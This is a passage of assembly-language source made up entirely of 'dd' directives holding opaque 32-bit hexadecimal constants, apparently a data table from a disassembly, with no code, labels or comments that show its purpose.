		dd 8C6B1B49h, 8486E8A0h, 4295464Bh, 17B4451Fh, 0A3077F6Ah
		dd 4D57099Bh, 80519377h, 8C18BF3Bh, 0BBA94261h,	57DEA3ACh
		dd 68E4CE46h, 72C43F4Fh, 0B16EA1E1h, 9737CDA4h,	0D3C8945Ch
		dd 1C742608h, 25D64F5Eh, 3AFFA51Eh, 0FF530D09h,	225F4712h
		dd 910AEB5Dh, 57A2540Ch, 83B84409h, 0F5CAC751h,	7CBB8930h
		dd 5E0B9AA8h, 87E8895Ch, 35D1AB13h, 0B02EAD10h,	0B5E8EB94h
		dd 0EF58F6A9h, 97B5045Eh, 252F523Ch, 384AB9F0h,	78A0988h
		dd 23DE8B02h, 33D921C1h, 83EED5C3h, 54850444h, 15E7CF2h
		dd 754F42F0h, 2F5B5FE6h, 2E14E12h, 0DBC1093Eh, 0A3FBC3C0h
		dd 956AE4B7h, 989FC358h, 38E8F022h, 0FC5EB46Dh,	96CD4E0h
		dd 0DD47F62Ah, 43289C83h, 0BCFA5865h, 14A16CBCh, 443B6457h
		dd 5B1B1E4Dh, 0F9B375C2h, 0B0D69604h, 4B651B6Eh, 62C86A51h
		dd 54D8788Bh, 0FC57ED17h, 1FB254C3h, 0B639F18Bh, 4D42AD97h
		dd 62E84AB9h, 0BAA2F8E2h, 0CD9FE3Bh, 0E91F092h,	9A6E9CEFh
		dd 0AA8C798Bh, 0ADE6D536h, 58AFB494h, 0D3147A19h, 126DA722h
		dd 0CF22274h, 8053BA92h, 51B609E8h, 6DA60B4Fh, 74EBF440h
		dd 9CC74F02h, 1144B474h, 8AA24B56h, 906D216Eh, 1691A44Ch
		dd 7DC6B089h, 9D9E6E66h, 97B94245h, 0A159D816h,	243B21AFh
		dd 0EE404CF5h, 8CB42668h, 9BC34255h, 7D10D02Fh,	571B14F8h
		dd 25FD9F1Bh, 0E5325DF4h, 16456082h, 4C21506Eh,	0FBB408EEh
		dd 5309654Ah, 0BE509E99h, 52564C7Ah, 838D9D96h,	39DAC9F8h
		dd 855F0C74h, 8D15E150h, 0B75944B9h, 0D8319545h, 8B6E98E7h
		dd 646A1395h, 56FA3B64h, 932B53Eh, 11DD7834h, 219A9B78h
		dd 0A54F6757h, 5C383C61h, 5342FC8Dh, 0A3D28024h, 0F1890B69h
		dd 82A9DCE4h, 0E0585914h, 0A42CE807h, 7562E797h, 303898A3h
		dd 9A71848Ch, 1FC21282h, 0E71E91C3h, 2478FA84h,	78D1BC84h
		dd 0BD930904h, 0C17404E4h, 0A6895B8Eh, 0D02D6062h, 0B098224Fh
		dd 9DAAE4BDh, 0E860A5F3h, 28680A75h, 2D958E48h,	59DBB9E9h
		dd 856D008h, 0F5539A78h, 49C4CAFFh, 3DD23472h, 88965189h
		dd 0CCD6B9D4h, 84107C74h, 3C9B7B45h, 0EF9C62E4h, 0D3D031D8h
		dd 40D6B34Eh, 0D9BFD2B2h, 8768A5C8h, 43992085h,	88005C3Dh
		dd 6954ADA0h, 0D848A05h, 0B33C140Eh, 5F0708AEh,	42FC0D50h
		dd 411940FAh, 94D5CC8h,	98DD9FE7h, 5ACD76B3h, 9A40F253h
		dd 4E7746F6h, 0BA0124E9h, 78E8A294h, 36D56469h,	0FB4CB745h
		dd 8DE054C4h, 6411D64Eh, 2E5A7435h, 0FC178151h,	4204EB48h
		dd 7D9EB52h, 0D7C65769h, 93AF5DFDh, 0B7E2040Eh,	0DF49847Fh
		dd 1256297Dh, 2435E43Bh, 4361B294h, 31381367h, 0C7C5C393h
		dd 0D93C0634h, 5ACCE80Bh, 86FCE02Ch, 0A79721FDh, 0FFA3F013h
		dd 0A248B6Bh, 4456207Fh, 0AC06264Ah, 8CC39C68h,	0E91B444Ch
		dd 0C8552448h, 2DC739ECh, 0A1D17BB8h, 0BB712FD8h, 68187507h
		dd 91196F1Dh, 29419E02h
		dd 0EEE95603h, 72160E87h, 0A6DF39ECh, 9721A235h, 2691B658h
		dd 3BCBE0A7h, 9203E8C7h, 79C99F8Eh, 2DE808F6h, 0D15C9888h
		dd 0DCD8F7E2h, 9C442546h, 10965B97h, 66F6CBE0h,	0EB31D202h
		dd 14189A2Dh, 7588A2B5h, 0ABC3DAEEh, 0AA019956h, 571E91F0h
		dd 2D111C4Ch, 7CF3F455h, 8C0FC303h, 6B0A85ACh, 0A1110BFCh
		dd 93EC2937h, 815B6685h, 5E44ECECh, 0D6A8A58h, 8925E844h
		dd 0CAFFDE08h, 0BC246C86h, 8B745B7h, 149EFD04h,	974F0B21h
		dd 756368DCh, 4E2092B0h, 0BE4CAA98h, 11CD2C9Ah,	0C326EA51h
		dd 0C13F73Ch, 4D09FE3Bh, 0CD14DF07h, 619BC38Ch,	0C80BA817h
		dd 0EE249C94h, 632DFFBEh, 4F52A668h, 7A8853F5h,	0F22CF6BEh
		dd 1845F5F6h, 84824178h, 38D11C9Fh, 0F34013C4h,	0F1A69C59h
		dd 0DB1CFD40h, 52F15E5Fh, 3C266577h, 5636AF1Fh,	6C8D5C5Eh
		dd 0A70732A3h, 53C2FC5Eh, 0C873F496h, 25DA3E14h, 0C0BE1A0Fh
		dd 19D6FD7h, 44680775h,	0EB5E848Fh, 5E995049h, 4240430Ch
		dd 0AD4B7D8Fh, 0FCCCA8ADh, 50840451h, 8BE0CE21h, 2D484E24h
		dd 53F95362h, 2FEA2789h, 8ED06E40h, 6226F19Dh, 6E6695D3h
		dd 412E8199h, 4EC3CE2h,	96370453h, 0A8105674h, 32BFE4DBh
		dd 0D62BA0CBh, 503693DCh, 57892441h, 0B69240CBh, 8B7DEB0Eh
		dd 0B48D6B98h, 0F480DCAAh, 970A0E95h, 0EB623CEEh, 12809856h
		dd 4C88E868h, 5385A94Eh, 0B9071249h, 60B031EBh,	40C4C43Ch
		dd 0FD147FDh, 4358B10Ah, 0BCB499F5h, 8DAB3917h,	0C7CA6F4Eh
		dd 0CBEF314Eh, 76590292h, 0B07DE976h, 83060492h, 29848BB4h
		dd 7F220748h, 0A8E7C21h, 14B94CFh, 0EC9D391Ch, 0D3A62EFEh
		dd 47B28A46h, 8D862829h, 0BDEB651h, 5905A0F4h, 93220974h
		dd 0B1D3DCA6h, 0FA76081Eh, 35109695h, 0F1F7B896h, 49320410h
		dd 0FAAAB984h, 2BCE5ED9h, 335F9D48h, 1368F65Ch,	0AAE5A4B8h
		dd 0FC27547Dh, 902116E6h, 57227CCh, 489ADA97h, 0D77580E8h
		dd 5F30B385h, 3248ABF6h, 98D0BAF5h, 956673E0h, 0DC459E51h
		dd 9154EC27h, 893E321h,	0B539100Ch, 0DC7BD98Ch,	8C90EC4Ch
		dd 9DFBF421h, 5B23E2F0h, 0C5DC900Eh, 2808F3CAh,	6693BD74h
		dd 3BED8E91h, 0D98CCE33h, 5CD0E0BBh, 53893E07h,	6B927B64h
		dd 9C24E45Fh, 0A1923F25h, 0DF7A92E7h, 9EDD7CABh, 328DB495h
		dd 57DA0480h, 2B88B531h, 3C251174h, 51147318h, 64BF6804h
		dd 0B5335629h, 3B32FA39h, 0FBE69054h, 0B5224B73h, 0A44BE319h
		dd 57478FF8h, 0E416CF77h, 0D77AC7ECh, 7DF670A4h, 80B40864h
		dd 0BD3B8227h, 50770881h, 1078E183h, 27C78B01h,	5B561274h
		dd 32AE136Fh, 0EB029187h, 44129C10h, 0F1F98B54h, 69F73BFEh
		dd 545C0525h, 0F5929F62h, 0F8C0D3B2h, 128A1887h, 1E3E160h
		dd 49527411h, 0D24AE167h, 0C99517A8h, 0F57D0BFFh, 6682098Ah
		dd 77AF7D61h, 450CE442h, 56583135h, 249C72F2h, 2BC46128h
		dd 3DED5C84h, 0F7180395h, 0C88B18F1h, 0BB41C3A1h, 38D8A512h
		dd 5AE8E473h, 8F871071h, 94908422h, 0C4005F4Dh,	0A6D3E2E8h
		dd 1524E53Bh, 906B965Eh, 0D8428629h, 0CB969090h, 4EC48F91h
		dd 0F143C03Ch, 81883934h, 5025587h, 701A5076h, 7EA82F7h
		dd 0E4FD0C62h, 0A07DF6CCh, 280DDC0Bh, 8C9DF658h, 3F78BF8Ch
		dd 365035CDh, 1B094B09h, 90682B8Ah, 53466485h, 9D2E8952h
		dd 6C0BBE84h, 2993A42Dh, 25877CBDh, 0C0112E7Ch,	74056A16h
		dd 34C2F819h, 0AE94BD88h, 5C5450EEh, 149D4699h,	5C2920DEh
		dd 0A4C39D83h, 4621FC08h, 0F0B8C20Bh, 2BE92410h, 0D4F70151h
		dd 4F3B0C43h, 46C7AC43h, 0F036C40Ah, 2673AA17h,	818D5A87h
		dd 0AD988575h, 52784435h, 89145776h, 496412BDh,	9645ECC7h
		dd 0D1BA9BD5h, 42C8B5BFh, 30935028h, 175DAEBCh,	705A3124h
		dd 0FEC420E8h, 0F67A1AB5h, 0AB121351h, 95E87D30h, 4A3DD3DEh
		dd 52D9F1AEh, 8FC05B82h, 0C50CEB02h, 1C841A31h,	797C1E96h
		dd 23D66AB9h, 606209F1h, 0CD5905EFh, 21D53F18h,	4EF2749Ch
		dd 2AD12D8Ch, 33042602h, 0A0E5EC9h, 9CF7E08h, 0AD583415h
		dd 1143006h, 12213B41h,	0AEC3F07Ch, 6ECF2FDCh, 503A65B0h
		dd 9576A1DFh, 54CA8BC1h, 0E93864B0h, 0C1424BEEh, 5CA8BF32h
		dd 55D2554h, 0AA454DE9h, 3BA45D8Bh, 0C875358Dh,	7749BC22h
		dd 0E7C670F5h, 0D0CAB41h, 88300C04h, 55244606h,	0D851AC60h
		dd 0F289C20Bh, 1674270Ch, 756A1161h, 9959D476h,	85F9F70Ch
		dd 2C670D2h, 0EB462C06h, 92C24EC2h, 3B1960FFh, 87207F1h
		dd 47880E8Ah, 607EF940h, 292A284Dh, 38C002F4h, 0E85BFBD2h
		dd 0FE48B0B0h, 899E72Bh, 2180621h, 0B806020Fh, 0F6AF01D4h
		dd 692143Eh, 2C903421h,	1C6424C8h, 19121432h, 126F18C8h
		dd 609860Eh, 4F002F9h, 5F808F4h, 0EBE8A1FCh, 8311D632h
		dd 2251F086h, 0E878F808h, 0D075A495h, 6C508E8h,	0E8E30B59h
		dd 0D178A9D5h, 3698447Ch, 9C2B9F47h, 59134AD9h,	0EE7DDAD3h
		dd 6C4EDB59h, 0C45523C3h, 69CD6F42h, 21F01E90h,	0DE9790F4h
		dd 22FC43A0h, 0BB532D88h, 106AA0A6h, 7AEC9CC9h,	0AF952064h
		dd 85127F96h, 48BFBF45h, 0BED3B95Eh, 68C762ABh,	4200EC7Dh
		dd 63183592h, 64292EA6h, 76541131h, 2116339Dh, 0FCE4A84Fh
		dd 3DE8F802h, 681C2D31h, 8C810CEFh, 2FEB5B06h, 8EDB40BEh
		dd 39F14D66h, 0E4344C47h, 0D732731Bh, 1A4535ECh, 0F20A606Ah
		dd 1B2B30B5h, 0F649CE68h, 171412B3h, 0F3018D1Fh, 49C96634h
		dd 109CB5FDh, 500FA7FCh, 1AFD80C4h, 68F4E952h, 38B18149h
		dd 3A90935Eh, 7509AAB6h, 9B785324h, 4AF43D7h, 0F9929C44h
		dd 0E6C7E2BDh, 0EB141AF7h, 91CC7D37h, 7E2466E1h, 732307A3h
		dd 0A2C23DC2h, 3E20198Eh, 9F12F92Eh, 0CE2CFE06h, 149CB411h
		dd 0DC4EE783h, 33275383h, 0A4757EDBh, 65751DC1h, 0DFAC1457h
		dd 0E249F70Ah, 0EC8D61EBh, 5E4F28E0h, 7D702AF4h, 0ADE82702h
		dd 1E15B9AAh, 0F14A957h, 0F7891F38h, 0EC68BA82h, 0B63889ACh
		dd 1D988F5Ah, 494AF912h, 0D9FEC310h, 9C50F83Ch,	0A1065C38h
		dd 885749Bh, 82CC7559h,	4B88D666h, 7453A785h, 49025C08h
		dd 0AB357904h, 0E812938Bh, 5916F8BBh, 8206906Bh, 5C501D8Bh
		dd 0AFD364E3h, 5FA00F2Ch, 0AC5C8C8Bh, 1D565E32h, 59DA2B92h
		dd 0BE27757Fh, 5176DC04h, 3F527E56h, 0D8C827FCh, 0F3DC7DC2h
		dd 0F5D9A589h, 2FA95793h, 0DB22EE92h, 0E951DCACh, 87281F84h
		dd 4F245A4Bh, 79B39790h, 0D30D884Bh, 4695A09Ah,	99D6F6BCh
		dd 36CC3AAEh, 80C71006h, 0E05DBDB0h, 40D7D46h, 19A36424h
		dd 57088C11h, 0EAD12128h, 2001B64Fh, 42B750Ch, 7EFF8514h
		dd 5CF4AE1Dh, 27388E08h, 402E45ADh, 3B460B6Dh, 0E3277CF7h
		dd 3907132h, 0F8EB01B0h, 30E9714Ch, 84E83C26h, 2C64B190h
		dd 4856098Ch, 68028EFFh, 0E643C03h, 7F74212Bh, 20E1588h
		dd 7E67759Ch, 83F0D0E0h, 9AD4CF7Ah, 24A1580Fh, 5127E75Dh
		dd 1253105Bh, 38AE8A6Dh, 329268FEh, 843C3BE1h, 4E81EEEh
		dd 1BA6AFDBh, 79975DF0h, 4E7C6924h, 0E1531A0Fh,	93806848h
		dd 0B66CEC25h, 0E7526D8h, 0AFB0F3B5h, 0BE70D766h, 0BA21205Eh
		dd 0CC7ED9ECh, 0DF8C0CFDh, 333DA079h, 2BA3C568h, 41740A3Eh
		dd 2B405E2Bh, 4768704Ch, 74168894h, 1B13B083h, 0AC527AE9h
		dd 5FFE9D09h, 0F33BC180h, 0BCF4497Eh, 51ED3534h, 4A50EBBh
		dd 5F383C63h, 63314224h, 49C32B89h, 0EACF0C56h,	376CD521h
		dd 910EB28h, 8407FD44h
		dd 8D851B5h, 591CA076h,	4E5C637Dh, 7F921A4Fh, 0DC32D1BEh
		dd 6F612912h, 0E89353B8h, 0E56E86AAh, 156A0439h, 881B7AEBh
		dd 399D44A4h, 905FB542h, 0D388BE1Bh, 81DEF035h,	1B561CACh
		dd 7C666480h, 188C8321h, 0EB028075h, 5D642C46h,	851F2853h
		dd 55887010h, 3A0C052h,	8BE92658h, 4E80A196h, 831D8830h
		dd 1B59D8F7h, 0E0834202h, 0F16CE905h, 0AC07A61Fh, 346052EFh
		dd 51D46068h, 5A0A4842h, 612F38BDh, 49F9A450h, 94A611Ah
		dd 0A2D5E8A6h, 3DA05B9Fh, 7C632A45h, 0CCFBC403h, 1E9DC025h
		dd 6D0C4C7Eh, 0BF29AD30h, 0BAD386A0h, 8E99C905h, 0D4E2B1F5h
		dd 8814091Ch, 0D8A5BD59h, 9A3D730Bh, 7D6C90F4h,	0CD276968h
		dd 92F03722h, 0D70ED04Ch, 0DE027E80h, 39475F1Ah, 3CE0181Dh
		dd 0F8388793h, 687530F9h, 6F125855h, 0FCC87205h, 958440CCh
		dd 822DEE4h, 0FF1B1C2Ch, 21EB4C47h, 11856C49h, 0F4F689A4h
		dd 5CFA20FCh, 0EB349E03h, 2EE01908h, 59985275h,	0A799C646h
		dd 0E9C78B07h, 0D12C28D9h, 6DED7E27h, 18653A70h, 82B34182h
		dd 31F70C3Eh, 96B82BE9h, 3F9434Ch, 394C16F5h, 8726E147h
		dd 62857D1Ah, 0B31DD7BDh, 5724BC8Eh, 96E91453h,	4C66BD4Bh
		dd 225B419Bh, 801A863Eh, 8233EEBDh, 47537D40h, 5123A636h
		dd 0BD900B68h, 0FF74BA40h, 59423649h, 27303A47h, 0FB486BE8h
		dd 810CA05Dh, 5C91FEh, 43C39D0Fh, 8E8E20EBh, 52444627h
		dd 1AEC9D60h, 0C361F55Ah, 7A7C2505h, 0E57BB429h, 45CB2E6Dh
		dd 0DF94314Ah, 0D1642FA4h, 0EF2C71BBh, 0DD920E8Bh, 133F7963h
		dd 82C1147Dh, 9434E4BFh, 69057775h, 64060FDCh, 0A9C46BBAh
		dd 2B47F9BEh, 4DABF5F0h, 3B14100Fh, 81057B6h, 8EA94454h
		dd 2D96D9BAh, 57873852h, 0DDD04C68h, 2284FAC4h,	43889C2Ch
		dd 4AFAB667h, 0FBAB1318h, 0C86AEE69h, 0B86047Ch, 74FF8510h
		dd 40343083h, 0E6C1800Dh, 0B6F40A02h, 0CE9EA4F8h, 0EB136298h
		dd 1C75A361h, 0F42A22FBh, 13A4BE09h, 2C158245h,	54197296h
		dd 32107B7Fh, 0DB523AEBh, 1D57CA2Eh, 1195F042h,	0B7140C62h
		dd 42A2550h, 0FF0D1840h, 83F08534h, 1F126F61h, 2B0C1943h
		dd 0E8F3CED4h, 57531C09h, 8679838Bh, 0D099A425h, 758580E9h
		dd 0F661AB0Ah, 56ECEBD8h, 7C0A9568h, 0B249492Eh, 290533CBh
		dd 4D6420F3h, 0F80616FDh, 0A2B7401h, 17180375h,	60E377Eh
		dd 0AF324E7Fh, 4951B054h, 0A53C328Eh, 400D78EBh, 1FC41418h
		dd 74CCBDCh, 0F9954013h, 48089501h, 39C6279Bh, 25075752h
		dd 0FC92F75Eh, 20B92990h, 1245D2BDh, 5C870FC1h,	0E2DB27F9h
		dd 22FB303Fh, 1E745A77h, 0D8C88B4Eh, 493DEAE9h,	992FEDE3h
		dd 51182206h, 0A8313F1h, 0EF850F24h, 9A724B50h,	0D7D004B5h
		dd 0AA4945Eh, 8C10CD21h, 5844C388h, 2C11B922h, 2284AF08h
		dd 0A54599D8h, 1881B09Eh, 2574EF1Ch, 61BAECCh, 0A690ED11h
		dd 21C08A9Ch, 637A8411h, 7DEB1590h, 78734BAh, 98E4E276h
		dd 0B4E46F27h, 5BB9D227h, 6D77B198h, 8D587404h,	0ECC8DE88h
		dd 1117DF9h, 89B60F60h,	0C340B5E5h, 0BD8D24F0h,	40890FD0h
		dd 80D03D2Bh, 0BB362407h, 2F0F9719h, 70FB244h, 47A8C828h
		dd 234CE421h, 1120F21Ah, 96C4F813h, 0A005618Ah,	0F2050743h
		dd 0E8892F80h, 72A11AE3h, 0C2C82A82h, 57FEB813h, 5E22145Ch
		dd 41B8E5A9h, 9967C30Dh, 83096EDFh, 52248A12h, 75916048h
		dd 59447C22h, 9808BA4h,	3740201h, 6C604EAh, 64080605h
		dd 0EB080607h, 531389CAh, 2A243956h, 27668912h,	0F4452514h
		dd 6421515Ah, 0FC89639Bh, 0F3A5A8CFh, 0DC08B2DBh, 0E3E8CE75h
		dd 39DAA27Ah, 0A2302703h, 4CA015DCh, 121146FCh,	0D921EA3Dh
		dd 3312B485h, 0A7BDEE76h, 8DFCC88Eh, 737860B5h,	4808468Bh
		dd 6437432h, 82F0439h, 201B1025h, 0BF074811h, 67329B24h
		dd 4067784Ch, 0E83467E8h, 67E82867h, 1067E81Ch,	0F0466E8h
		dd 12D3D2B5h, 0EE8141E8h, 92AEFD27h, 763804BFh,	0C49EB9FCh
		dd 25219AF8h, 0E7CC2A81h, 0CBFE46DCh, 28B198B1h, 14C6E847h
		dd 0A07D3B24h, 8D6A8C2Dh, 0BF8A905h, 149912B4h,	4EB436F4h
		dd 8ACB413h, 0BD5B5E16h, 9EE25B32h, 0F0850C85h,	0FE8B89BDh
		dd 0BE759890h, 48BDBF99h, 0D3C35C2Fh, 2301ADD1h, 224C2EB9h
		dd 8C021012h, 0E0246A38h, 0BDA43595h, 0AA4F9FD1h, 64088D58h
		dd 2C9F2009h, 96DF7604h, 0FCC73811h, 7C109B42h,	0EB188280h
		dd 4DA6A852h, 332DB41Ch, 9CC7FAEDh, 21F44232h, 0D64A90CCh
		dd 2820350Bh, 20AC1FAFh, 433A54A3h, 1BAC2821h, 0D8FF5D65h
		dd 0F29D08D7h, 53F4FD06h, 56573055h, 0C3D8B02h,	92085695h
		dd 7687A2FFh, 76283CC9h, 0F6D701A3h, 8012A305h,	0E88B019Ah
		dd 55801675h, 5C440B0Dh, 0CE10A8FCh, 0B6593F90h, 1472D144h
		dd 935FF55h, 0C5347268h, 5F0F02A1h, 83EE5B5Dh, 23F2205Bh
		dd 58435C38h, 526A7A7Eh, 0C3271015h, 251F7D63h,	9B12A320h
		dd 7F691558h, 4856642Fh, 19744665h, 10FFF04Dh, 9825C1F4h
		dd 0E4548029h, 341E4AE8h, 2722AB32h, 266C75FCh,	26AEDA0h
		dd 0EC4450BAh, 1491915Fh, 0CE40D06Ch, 2A9A13Bh,	861FDF44h
		dd 0CE10358Ah, 4850578Ch, 5B5573FFh, 0F85EB401h, 3F448D09h
		dd 4515F802h, 57906090h, 70195355h, 7C97D695h, 56894E9Ah
		dd 0B512F671h, 9712F326h, 0AAF616D8h, 52EE15D3h, 0C88CD3ECh
		dd 16E6CB4Ah, 0FD011016h, 0E81483F7h, 49455188h, 0A4FF2935h
		dd 0BF930EA8h, 0E1F00422h, 33629C3Dh, 22F956C4h, 0A62AF918h
		dd 4D144437h, 0CF30F6FCh, 318FD2F6h, 4CC385Ch, 0DE3B9005h
		dd 0FB81E8C1h, 4A782B62h, 47B38135h, 0ECE26A07h, 0A10D1AD3h
		dd 7EEEB90Eh, 0EF74AE16h, 0F510BC8Fh, 0EB2482F8h, 5FCC856Dh
		dd 72CB80ABh, 0BEC58B5Ch, 8D06708Dh, 4BB41076h,	0B8CD88E0h
		dd 5D7F5469h, 8D433263h, 8C1B4C52h, 2AEC0604h, 455A3868h
		dd 5B7EA30Eh, 2C329AE4h, 1A6116C2h, 76B48A3Bh, 5925EAACh
		dd 0D0F22F90h, 0FA90AA8Ch, 7410AAB7h, 531FDE93h, 6CE5941Dh
		dd 8E5B9720h, 3EDF3B0Ch, 4019B191h, 2674C72Bh, 8CAAAF97h
		dd 961C863Bh, 6CD66B2Dh, 3D01213Ah, 1922EB19h, 2FC6C2E7h
		dd 98391720h, 26858B43h, 0C2F57A27h, 2FCA03EBh,	204DBDD8h
		dd 435320FAh, 9D408412h, 187D5021h, 0AB8B9547h,	2787AA5Ah
		dd 219CF010h, 18CB2990h, 1B122139h, 849CC810h, 212D7D07h
		dd 26BB260Fh, 18496E24h, 0EDFD9DBFh, 549331DEh,	750FEA0Ah
		dd 17886DDCh, 0B3CB65A4h, 7874EC50h, 6747F049h,	5804F80Ch
		dd 0F06D12FFh, 50E8DC3Bh, 0E8385764h, 17B09EBh,	57E2EFE2h
		dd 6993AA4Ch, 59FD4C08h, 4412EE41h, 88C44367h, 427EA004h
		dd 0B21F2356h, 21A1558h, 840B6A60h, 26AA3032h, 82BDCC09h
		dd 0FC035244h, 70F44958h, 0FE17829Ah, 0FA301327h, 109F8D72h
		dd 41D47C27h, 24B5587Ch, 0D827A314h, 5F1C845Ah,	0B027A456h
		dd 5FEAF64Bh, 0C708A8Fh, 31086431h, 3C047BF6h, 818C8828h
		dd 569140F3h, 9EF4C408h, 1515CB22h, 488535Dh, 2848E8E5h
		dd 355754A3h, 10E47653h, 3A254094h, 43AB7402h, 0D8BB13EBh
		dd 0C7E6F77h, 2007D051h, 0DFDC8C4h, 19B45112h, 0E4850A52h
		dd 147932F5h, 2A0CA439h, 0F5BC4285h, 1C47CC9Ch,	0A3BC9021h
		dd 6291E57Ah, 80392053h, 28AFD70Ch, 0B2536914h,	0C6C3918h
		dd 3E4485ACh, 438E2C28h, 51842154h, 30230F16h, 59C83C90h
		dd 0F4EB2354h, 2CC82491h
		dd 102A3164h, 28E2F4C3h, 60C1C39h, 28984485h, 8438E34h
		dd 0F279DE11h, 3C471E70h, 8A9DF410h, 45F12BB3h,	8E385358h
		dd 8B28E054h, 2C1D4585h, 438E4C53h, 506021CCh, 478EF3F2h
		dd 90B82140h, 43CAA838h, 0E44488F3h, 150D32A4h,	50609F11h
		dd 0EB5B5F20h, 0A26F2C4Ch, 0E32AA270h, 26F15D78h, 50C8244Bh
		dd 0E8C506F8h, 0BF30246Fh, 974A444h, 539626A2h,	250CE76Ah
		dd 0E9359A18h, 36E1443h, 0F94EE8DEh, 7DC4D54Fh,	256435A2h
		dd 0BC38B4E8h, 10929F41h, 1B7F98F8h, 3B39F34Bh,	89BD1EFAh
		dd 7893DDB5h, 0CEFCCCFAh, 3C74F460h, 6439963Dh,	1CCA050h
		dd 306F3996h, 219F8484h, 292E782Fh, 84DE73BAh, 39B3F2BCh
		dd 0FD607B25h, 33B8FE3Bh, 6285A7F9h, 768D03DBh,	741E3969h
		dd 4437FF94h, 0EB627CC8h, 8D224C77h, 0D0779045h, 4C716F8h
		dd 43EE00FEh, 72145D3Bh, 2AEBC314h, 643CC839h, 0A87D50B2h
		dd 1C54863Fh, 0C24747Bh, 33C52F57h, 81644EEBh, 5B66F469h
		dd 3B910445h, 0B9F1D307h, 8624580Ch, 0E7B15A43h, 282008F1h
		dd 4BC8C033h, 0E29475F4h, 8581165h, 9464A188h, 777BF820h
		dd 4F745B19h, 40D5050Eh, 90080A9Eh, 0A0323F31h,	40357F22h
		dd 0F175713h, 50C8C685h, 8DD89A2h, 0D30AA174h, 42844C08h
		dd 103821C9h, 442888BFh, 111022B5h, 0CC8015ABh,	2728747Ch
		dd 0C80EC82Dh, 0D0871AEBh, 7875300Dh, 0A164F868h, 945E8F39h
		dd 85210AD4h, 0EB1DB011h, 794D47Eh, 6021773Fh, 0C5B97005h
		dd 30F0AE37h, 6E2D2774h, 52EB17ADh, 1540EA70h, 750EC60Bh
		dd 2481C432h, 0A0ECDC4Ch, 0C8450FCFh, 103E45D0h, 370A079Fh
		dd 192ECA2Dh, 0D517F62Bh, 250A951Fh, 295E7ACAh,	281D4D50h
		dd 782AF1Ah, 7C5C2FFh, 10EE0C07h, 7F04058Bh, 48161F9Fh
		dd 8E8B080h, 513A9A76h,	6EDA0BB8h, 560540B4h, 95F76E9Fh
		dd 0D3E828B0h, 87A7874Ah, 585EBE39h, 0FCF830F5h, 0A1D0C697h
		dd 726814A8h, 56311042h, 17FAE831h, 5C87A352h, 7AE25364h
		dd 0D1103CA1h, 0A32D6BE0h, 0FF6A2502h, 0EC5F1566h, 0BE143631h
		dd 42B10DDh, 23A2DCEEh,	16F2FC74h, 688D291Ch, 0E516830h
		dd 94E63B30h, 59551D28h, 6AC43F29h, 0B04A2A48h,	0C68B14B8h
		dd 8C4272B1h, 0D1092909h, 5BDA748Bh, 859CF0E6h,	40ACAF05h
		dd 0E86472A4h, 3BBE135h, 2225899Ch, 2070F095h, 50B42A3h
		dd 0A9C580E8h, 1BEBDF1Eh, 94D7D6C2h, 0F8A35A65h, 0E2216C93h
		dd 9889A43Dh, 0AEB055A5h, 84E9082Fh, 2730688Dh,	957BC6D7h
		dd 532C59A5h, 28F3A0FBh, 23D0FC4h, 0B80D53FBh, 0EA9C5ED5h
		dd 0FBF74E78h, 593B6F68h, 6148B4C3h, 1405A610h,	321DBD80h
		dd 29931A02h, 868AB607h, 3C641F79h, 0B6538321h,	710C258Ch
		dd 814CADC3h, 44FD103Fh, 0B7CFBF53h, 0B2F90808h, 5325FA0Fh
		dd 72E82524h, 2B924C1Ch, 3674691Ch, 0A0FB194Ch,	568EE845h
		dd 0A47C6079h, 0D126C834h, 304F47A8h, 0B8229BA9h, 20D81EA0h
		dd 0BE240190h, 31422390h, 0E8A1C056h, 417A6E61h, 0E75904C7h
		dd 4834B723h, 0D61A6A0Bh, 80568038h, 978861C2h,	0E84725A0h
		dd 5214053h, 0DD72F83Bh, 1088BC29h, 681DFE14h, 2243154Bh
		dd 7473A1B9h, 0FCF7CFE1h, 8F14A86Bh, 24498FA8h,	2B184241h
		dd 3399A353h, 2735D669h, 695D56E2h, 2968CB70h, 516A47Ch
		dd 1F97C85Eh, 98680480h, 69D1B73Ah, 0B9733968h,	744CC7EBh
		dd 0C14726E8h, 0A0DA13Eh, 6B6C076Ah, 41E6B2FDh,	8D2A7307h
		dd 99D12A07h, 2394565Eh, 0CADFB06Fh, 1212B589h,	5F02FCC7h
		dd 5A6604CCh, 5EA1F289h, 0F93A8CE5h, 208C6237h,	0BE5004F1h
		dd 80107A4Ah, 0E3621C9Fh, 0BB517842h, 740F13FFh, 154391F6h
		dd 729B1143h, 0ACB3347Fh, 776C4243h, 53928993h,	0A47449A8h
		dd 25FAD42Bh, 894AB9B5h, 48BF528h, 0DC5981D4h, 0E0512C6Fh
		dd 0F3E30AD6h, 0C3755326h, 22EA3D83h, 7E029F40h, 4CA1431Ah
		dd 17857811h, 0D17797E8h, 0F16AF0F7h, 77A63656h, 27E79A9Fh
		dd 84AB3920h, 0C2EC19FFh, 0F93534E4h, 45569F3h,	0FF893004h
		dd 0AC104AF3h, 0B20D8910h, 0C9C30E3Fh, 5C4619D4h, 0AE8509F2h
		dd 0C6D52114h, 9736571h, 64395112h, 0D1CA16Ch, 0D1CD1831h
		dd 0B804B8Dh, 0A1D5DA3Fh, 721AE88Ch, 54681C58h,	878B3BA4h
		dd 6A07F225h, 51F7928h,	9F88B38h, 0E6DF70E3h, 765363D1h
		dd 88DD26FCh, 6973D66Dh, 10E353B5h, 1B758587h, 174C29BFh
		dd 3A648851h, 81A85056h, 0C284CA2h, 15DDF649h, 182B2210h
		dd 6BB54273h, 0F85341ECh, 3002106Dh, 13C010BAh,	6C70CD84h
		dd 0CAD043DFh, 0AB912284h, 48C86D42h, 0D451B2D2h, 9AB205E0h
		dd 0C8732A40h, 785A6434h, 0A2AB8B6Ch, 7F6A2904h, 0AF975868h
		dd 0B9D07455h, 0B2F41D89h, 5DE83CBEh, 14A12E63h, 3F6A2B06h
		dd 712FF4BFh, 0FA19D268h, 221CDF10h, 0BE2EC741h, 6C91C834h
		dd 2FE85605h, 28590C89h, 558AC878h, 0F7847F42h,	0D61622C0h
		dd 70C24BC5h, 75CA6E6h,	2CEBC7FFh, 68487075h, 0E2DE44F0h
		dd 0DD022E56h, 51BE8442h, 0E417205Bh, 4DFF0203h, 0BB868FCh
		dd 87A7B865h, 6317D82h,	0B92FA77Ch, 95841489h, 0F05D0529h
		dd 0B9684074h, 88AA29E8h, 0D0AE68B3h, 8E848893h, 84867DA9h
		dd 0DC04244Ah, 49055E9h, 0D9741D38h, 0B749A22Fh, 59D89919h
